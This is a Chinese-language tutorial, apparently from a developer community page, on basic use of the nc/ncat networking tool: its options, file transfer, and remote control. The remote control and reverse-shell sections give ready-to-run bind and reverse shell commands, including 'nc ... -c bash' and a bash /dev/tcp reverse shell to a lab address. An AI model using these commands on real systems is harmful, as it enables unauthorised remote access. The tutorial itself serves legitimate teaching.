nc工具基本使用

简介: nc工具基本使用

nc命令选项:

centos中的nc命令是ncat的软连接,与kali中的nc命令略有差别,下面是ncat的常用选项:

~]# nc -h
Ncat 7.50 ( https://nmap.org/ncat )
Usage: ncat [options] [hostname] [port]

# 仅使用unix套接字连接、扫描,通常是连接、扫描本机服务时使用
  -U, --unixsock             Use Unix domain sockets only
# 执行提供的命令
  -c, --sh-exec <command>    Executes the given command via /bin/sh
# 执行提供的命令
  -e, --exec <command>       Executes the given command
      --lua-exec <filename>  Executes the given Lua script
# 最大连接数
  -m, --max-conns <n>        Maximum <n> simultaneous connections
# 延迟时间
  -d, --delay <time>         Wait between read/writes
# 闲置时间,通常用于扫描结束后多久断开连接
  -i, --idle-timeout <time>  Idle read/write timeout
# 监听模式,设置监听端口
  -l, --listen               Bind and listen for incoming connections
# 不进行dns解析
  -n, --nodns                Do not resolve hostnames via DNS
# 使用udp协议
  -u, --udp                  Use UDP instead of default TCP
      --sctp                 Use SCTP instead of default TCP
  -v, --verbose              Set verbosity level (can be used several times)

文件传输

# 接收方提前设置监听端口与要接收的文件名(文件名可自定义):
nc -lp 8888 > node.tar.gz

# 传输方发文件:
nc -nv 192.168.75.121 8888  < node_exporter-1.3.1.linux-amd64.tar.gz

注意:192.168.75.121是接收方的ip地址。
# 如果希望文件传输结束后自动退出,可以使用下面的命令:
nc -lp 8888 > node.tar.gz
nc -nv 192.168.75.121 8888 -i 1 < node_exporter-1.3.1.linux-amd64.tar.gz

注意:-i 表示闲置超时时间

远程控制

# 正向控制,被控端主动设置监听端口及bash环境,控制端连接,如果有防火墙,需开放端口,否则会被拦截。
# 被控制端执行下面的命令:
nc -lvnp 8888 -c bash
# 控制端执行下面的命令:
nc 192.168.75.121 8888
# 反向控制,控制端设置监听端口,被控端主动连接控制端的ip及端口,并提供bash环境。
# 控制端执行下面的命令:
nc -lvnp 8888
# 被控制端执行下面的命令:
nc 192.168.75.121 8888 -c bash

反弹shell

# 控制端执行下面的命令:
nc -lvnp 8888

# 被控端执行下面的命令:
bash -i &> /dev/tcp/192.168.75.121/8888 0>&1

对了,你们一直想要的Linux命令大全查询网站已经上线了,欢迎使用。

相关文章
|
7月前
|
运维 Cloud Native 应用服务中间件
阿里云微服务引擎 MSE 及 云原生 API 网关 2025 年 1 月产品动态
阿里云微服务引擎 MSE 面向业界主流开源微服务项目, 提供注册配置中心和分布式协调(原生支持 Nacos/ZooKeeper/Eureka )、云原生网关(原生支持Higress/Nginx/Envoy,遵循Ingress标准)、微服务治理(原生支持 Spring Cloud/Dubbo/Sentinel,遵循 OpenSergo 服务治理规范)能力。API 网关 (API Gateway),提供 APl 托管服务,覆盖设计、开发、测试、发布、售卖、运维监测、安全管控、下线等 API 生命周期阶段。帮助您快速构建以 API 为核心的系统架构.满足新技术引入、系统集成、业务中台等诸多场景需要
阿里云微服务引擎 MSE 及 云原生 API 网关 2025 年 1 月产品动态
|
9月前
|
供应链 监控 数据可视化
物联网技术在物流与供应链管理中的应用与挑战
本文探讨了物联网技术在物流与供应链管理中的应用,通过实时追踪、信息共享、智能化决策等手段,大幅提升了管理效率和智能化水平。特别介绍了板栗看板作为专业可视化工具,在数据监控、分析及协同作业中的重要作用。未来,随着技术的进一步发展,物流与供应链管理将更加智能高效,但也面临数据安全、标准化等挑战。
|
前端开发 JavaScript 机器人
从零开始构建一个聊天机器人
【8月更文挑战第7天】构建聊天机器人是一个涉及多个步骤和技术的复杂过程。从前期准备到实际部署,每一步都需要仔细规划和执行。通过不断学习和实践,你可以逐步掌握构建聊天机器人的技巧和方法,为企业创造更大的价值。
|
机器学习/深度学习 人工智能 自然语言处理
探索人工智能的未来:深度学习与神经网络的融合
在人工智能的广阔天地中,深度学习和神经网络如同两股激流,汇聚成推动技术进步的巨浪。本文将深入探讨这两种技术如何相辅相成,共同塑造未来人工智能的发展轨迹。我们将从基础概念出发,逐步揭示它们在实际应用中的协同效应,以及这种融合如何引领我们步入一个更加智能化的未来。
|
Prometheus 监控 安全
SNMP简介:网络管理的关键协议详解
【4月更文挑战第22天】
906 3
SNMP简介:网络管理的关键协议详解
|
Linux 数据处理
Linux命令`install`详解:不仅仅是安装工具
`install`命令在Linux中并非仅用于安装软件,而是用于精确复制文件和目录,设置权限及所有权。它能创建目标目录、处理符号链接并保留时间戳。例如,`install -m 644 source.txt /dest`用于复制文件并设置权限,`install -d -m 755 /dest/dir`创建目录。使用时要注意权限设置,避免误操作,并记录命令以备恢复。
|
测试技术
蓝桥杯真题讲解——积木画
蓝桥杯真题讲解——积木画
207 0
|
存储 缓存 算法
双向链表的建立和使用场景
双向链表的建立和使用场景
|
存储 NoSQL 关系型数据库
浅谈图数据库
浅谈图数据库
349 0
|
人工智能 并行计算 Ubuntu
极智AI | ubuntu编译Darknet与YOLO训练
大家好,我是极智视界,本文介绍了在 ubuntu 上编译 darknet 及 yolo 训练的方法。
261 0